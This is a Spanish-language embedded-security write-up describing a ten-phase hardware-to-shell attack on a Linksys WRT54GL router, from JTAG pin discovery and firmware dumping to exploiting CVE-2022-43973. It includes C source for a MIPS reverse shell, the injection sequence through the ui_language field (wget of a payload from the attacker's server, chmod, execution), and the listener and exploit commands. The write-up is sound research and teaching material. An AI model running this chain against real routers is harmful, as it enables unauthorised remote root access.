Del soldador a la shell: explotación completa del hardware del router Linksys WRT54GL (CVE-2022-43973)

Un viaje de investigación de seguridad embebida en 10 fases: desde el descubrimiento de pines JTAG hasta la ejecución remota de código en un router doméstico basado en MIPS.

Aviso legal: Esta investigación se realizó únicamente con fines educativos y de investigación sobre hardware de mi propiedad personal. No se accedió a ningún sistema no autorizado. Todas las técnicas descritas aquí solo deben reproducirse en dispositivos que sean de tu propiedad o sobre los que tengas autorización escrita explícita para realizar pruebas. El autor no asume ninguna responsabilidad por el mal uso de la información presentada. Cumple siempre con las leyes, normativas y prácticas de divulgación responsable aplicables.

Índice

• Resumen ejecutivo
• Descripción general del dispositivo objetivo
• Fases 1–2: Reconocimiento de hardware y descubrimiento de pines
• Fases 3–4: Depuración JTAG y extracción de firmware
• Fases 5–6: Análisis y emulación de firmware
• Fase 7: Investigación de vulnerabilidades — CVE-2022-43973
• Fase 8: Desarrollo del payload — Reverse shell MIPS
• Fase 9: Entrega del exploit y shell root
• Fase 10: Análisis de red y de sesión
• Herramientas y tecnologías
• Conclusiones clave
• Referencias
• Documentación detallada
• Licencia

Resumen ejecutivo

• Objetivo: Linksys WRT54GL v1.1 — un router doméstico ampliamente desplegado basado en el chipset Broadcom BCM5352 (arquitectura MIPS de 32 bits)
• Vulnerabilidad: CVE-2022-43973 — Ejecución remota de código mediante inyección de comandos en la interfaz de gestión HTTP
• Alcance: Cadena de explotación completa de hardware a software que abarca 10 fases, desde el acceso físico por JTAG hasta una shell root remota
• Resultado: Shell root remota completa obtenida mediante un payload personalizado de reverse shell MIPS
• Herramientas: JTAGulator, Attify Badge, OpenOCD, Ghidra, binwalk, FirmAE, Docker con el toolchain de compilación cruzada Broadcom MIPS

Descripción general del dispositivo objetivo

El Linksys WRT54GL es uno de los routers domésticos más icónicos que se hayan producido. Su soporte de firmware de código abierto lo convirtió en un favorito tanto de entusiastas como de investigadores. A pesar de su antigüedad, sigue en uso activo en todo el mundo, lo que lo convierte en un objetivo relevante para la investigación de seguridad embebida.

Fases 1–2: Reconocimiento de hardware y descubrimiento de pines

El primer paso en cualquier evaluación de seguridad de hardware es la inspección física. Tras abrir la carcasa del dispositivo, identifiqué dos interfaces de depuración en la PCB:

• Un conector JTAG de 12 pines (sin poblar) para depuración a nivel de hardware
• Un puerto serie (UART) de 10 pines que opera a niveles TTL de 3.3V

Como el conector JTAG no estaba poblado, soldé un conector de pines temporal para acceder a la interfaz de depuración. Con un multímetro, identifiqué las líneas de tierra y Vcc y confirmé que el objetivo opera a niveles lógicos de 3.3V, algo fundamental para evitar dañar el chipset.

Descubrimiento de pines JTAG con JTAGulator

Para mapear las señales JTAG, utilicé un JTAGulator de Grand Idea Studio, una herramienta de hardware diseñada para identificar automáticamente interfaces de depuración probando todas las combinaciones posibles de pines.

El JTAGulator identificó correctamente la siguiente distribución de pines JTAG:

board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Header JP3 — verified 3.3V logic."

Fases 3–4: Depuración JTAG y extracción de firmware

Con los pines JTAG identificados, conecté una Attify Badge — una herramienta de evaluación de seguridad de hardware de código abierto (GNU GPL v3.0) con un chip FTDI FT2232H — al conector JTAG del router.

Ejecuté OpenOCD (Open On-Chip Debugger) con una configuración personalizada adaptada al objetivo BCM5352, ya que las configuraciones oficiales eran incompatibles con esta revisión específica de hardware.

Distribución de la memoria flash

La configuración personalizada de OpenOCD define la distribución de particiones flash del router:

Volcado de firmware

Tras detener la CPU, realicé un volcado completo de 4 MB de la memoria flash NOR mapeada en memoria:

> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

Fases 5–6: Análisis y emulación de firmware

Análisis estático con binwalk

Utilicé binwalk para analizar el volcado de firmware e identificar sistemas de archivos embebidos, segmentos comprimidos y la imagen del kernel:

binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # entropy analysis
sha256sum ./dumps/wrt54gl.bin     # integrity verification

El análisis reveló un sistema de archivos raíz SquashFS que contiene un entorno Linux estándar basado en BusyBox. Lo extraje usando binwalk -e y unsquashfs para una inspección más profunda.

Emulación de firmware con FirmAE

Para crear un entorno de pruebas seguro, configuré la emulación de firmware con FirmAE, un framework automatizado de emulación de firmware que soporta arquitecturas MIPS. Esto me permitió reproducir los servicios del router (HTTP, telnet) en un entorno virtual y probar exploits sin riesgo para el dispositivo físico.

Fase 7: Investigación de vulnerabilidades — CVE-2022-43973

Utilicé Ghidra (el framework de ingeniería inversa de la NSA) con el plugin de descompilador MIPS para realizar un análisis estático de los binarios de firmware extraídos y confirmar la presencia de CVE-2022-43973.

Detalles de la vulnerabilidad

La vulnerabilidad se encuentra en el manejador de peticiones CGI del router. El campo de formulario ui_language en el endpoint /apply.cgi acepta entrada arbitraria sin sanitización. Al inyectar comandos de shell envueltos en la sintaxis ;cmd;, un atacante puede preparar comandos que se ejecutan posteriormente cuando se activa una actualización de firmware a través de /upgrade.cgi.

Versiones de firmware afectadas:

• v4.30.18 (última) — requiere autenticación basada en sesión
• v4.30.16 (anterior) — usa solo autenticación básica HTTP

Fase 8: Desarrollo del payload — Reverse shell MIPS

Desarrollé una reverse shell personalizada en C, diseñada específicamente para la arquitectura MIPS del router. El payload establece una conexión TCP de vuelta al atacante, redirige todos los descriptores de archivo estándar al socket y lanza una shell interactiva:

sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // redirect stdin
dup2(sockt, 1);   // redirect stdout
dup2(sockt, 2);   // redirect stderr

execve("/bin/sh", sh_argv, NULL);

Compilación cruzada con Docker

Para compilar el payload para la arquitectura objetivo, creé un entorno Docker reproducible que contiene el toolchain de compilación cruzada Broadcom MIPS (hndtools-mipsel-linux-3.2.3), obtenido de la versión GPL oficial de Linksys (WRT54GL-ETSI_v4.30.18.006):

docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest

# Inside container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c

El binario resultante está enlazado estáticamente para garantizar la portabilidad: sin dependencias de bibliotecas compartidas en el objetivo.

Fase 9: Entrega del exploit y shell root

Desarrollé un framework de exploit en Python que automatiza toda la cadena de ataque aprovechando CVE-2022-43973. El exploit ejecuta una secuencia de 4 pasos, cada uno inyectado como un comando mediante el parámetro ui_language:

Secuencia de ataque

1. Subir el payload — Inyectar un comando wget para descargar el binario de reverse shell MIPS desde el servidor HTTP del atacante a /tmp/X en el router
2. Establecer permisos — Inyectar chmod +x /tmp/X para hacer ejecutable el binario
3. Ejecutar el payload — Inyectar /tmp/X <attacker_ip> <port> para lanzar la reverse shell
4. Limpiar — Restablecer ui_language a su valor predeterminado (en)

Cada comando se envuelve como ;cmd; en el campo ui_language y se envía mediante POST /apply.cgi. Un POST /upgrade.cgi posterior activa la ejecución.

Ejecución

En la máquina del atacante se requieren tres terminales:

# Terminal 1: Serve the reverse shell binary
python -m http.server 8000

# Terminal 2: Listen for the incoming reverse shell
nc -lvnp 4141

# Terminal 3: Launch the exploit
python exploit.py --host 192.168.1.1 --username admin --password admin \
  --attacker-host 192.168.1.2 --attacker-http-port 8000 \
  --attacker-handler-port 4141

Resultado: shell root

La reverse shell se conecta de vuelta al listener de Netcat del atacante, proporcionando una shell root interactiva en el router.

Fase 10: Análisis de red y de sesión

Para validar la cadena de explotación completa, capturé el tráfico de red con Wireshark durante el ataque. El análisis confirmó:

• La secuencia correcta de inyección HTTP POST hacia /apply.cgi y /upgrade.cgi
• La descarga exitosa del payload mediante wget desde el servidor HTTP del atacante
• La conexión TCP de reverse shell establecida en el puerto 4141
• La integridad de la cookie de sesión y del flujo de autenticación

Herramientas y tecnologías

Conclusiones clave

1. El acceso físico es un vector de ataque muy poderoso. JTAG proporciona acceso de hardware a nivel de root que elude todos los mecanismos de seguridad de software. Las organizaciones que despliegan dispositivos embebidos deberían considerar controles de seguridad física y la desactivación de las interfaces de depuración en el firmware de producción.

2. La extracción de firmware es fundamental. Volcar y analizar el firmware revela toda la pila de software, incluidas credenciales hardcodeadas, datos de configuración y rutas de código vulnerables que son invisibles desde una perspectiva exclusivamente de red.

3. La emulación permite una investigación segura y repetible. Herramientas como FirmAE permiten a los investigadores reproducir el comportamiento del dispositivo en un entorno virtual, posibilitando pruebas iterativas sin arriesgar el hardware físico ni provocar consecuencias no deseadas.

4. Los fallos simples de validación de entrada tienen un impacto crítico. CVE-2022-43973 demuestra cómo un único campo de formulario sin sanitizar en una interfaz web puede llevar al compromiso total del dispositivo con acceso a nivel de root. La defensa en profundidad —validación de entrada, privilegio mínimo y prácticas de codificación segura— sigue siendo esencial.

5. Los toolchains reproducibles importan. Los entornos de compilación cruzada basados en Docker garantizan que los payloads y las herramientas puedan reconstruirse de manera fiable, haciendo que los resultados de la investigación sean verificables y compartibles.

6. Los dispositivos heredados representan un riesgo continuo. El WRT54GL sigue en uso activo a nivel mundial. Los dispositivos al final de su vida útil que ya no reciben actualizaciones de seguridad suponen una amenaza persistente para la seguridad de las redes.

Referencias

Vulnerabilidad

• CVE-2022-43973 — NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-43973
• CVE-2022-43973 — MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43973

Herramientas de hardware

• Attify Badge — https://docs.attify.com/ (GNU GPL v3.0)
• JTAGulator — Grand Idea Studio: https://github.com/grandideastudio/jtagulator
• Estándar JTAG — IEEE 1149.1 (Standard Test Access Port and Boundary-Scan Architecture)

Herramientas de software

• OpenOCD — https://openocd.org/
• Ghidra — https://ghidra-sre.org/
• FirmAE — https://github.com/pr0v3rbs/FirmAE
• Firmadyne — https://github.com/firmadyne/firmadyne
• binwalk — https://github.com/ReFirmLabs/binwalk

Proveedor

• Firmware del Linksys WRT54GL — https://www.linksys.com/us/support-article?articleNum=148648
• Toolchain GPL de Linksys — https://www.linksys.com/us/support-article?articleNum=114663

Documentación detallada

Para obtener detalles técnicos en profundidad, consulta los siguientes documentos:

Licencia

Este proyecto está bajo la Licencia MIT — consulta el archivo LICENSE para más detalles.

Si reproduces los esquemas de Attify o JTAGulator, sigue sus respectivas licencias (GNU GPL v3.0 para los componentes de Attify).

Umberto Della Monica
LinkedIn

#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec